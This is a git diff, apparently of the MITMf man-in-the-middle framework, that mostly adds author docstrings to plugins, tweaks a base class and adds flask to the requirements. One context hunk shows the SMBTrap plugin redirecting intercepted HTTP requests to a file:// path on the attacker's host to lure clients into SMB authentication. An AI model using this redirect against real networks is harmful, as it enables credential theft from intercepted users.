|
||||||
|
|
|
@ -1,3 +1,9 @@
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
|
@ -21,4 +27,4 @@ class SMBTrap(Plugin):
|
||||||
|
|
||||||
def serverHeaders(self, response, request):
|
def serverHeaders(self, response, request):
|
||||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
||||||
|
|
|
@ -18,6 +18,12 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import base64
|
import base64
|
||||||
import urllib
|
import urllib
|
||||||
|
|
|
@ -18,6 +18,12 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from cStringIO import StringIO
|
from cStringIO import StringIO
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
|
@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf')
|
||||||
class Plugin(ConfigWatcher, object):
|
class Plugin(ConfigWatcher, object):
|
||||||
name = "Generic plugin"
|
name = "Generic plugin"
|
||||||
optname = "generic"
|
optname = "generic"
|
||||||
tree_info = list()
|
tree_info = []
|
||||||
desc = ""
|
desc = ""
|
||||||
version = "0.0"
|
version = "0.0"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
|
@ -15,3 +15,4 @@ pyopenssl
|
||||||
service_identity
|
service_identity
|
||||||
capstone
|
capstone
|
||||||
pypcap
|
pypcap
|
||||||
|
flask
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue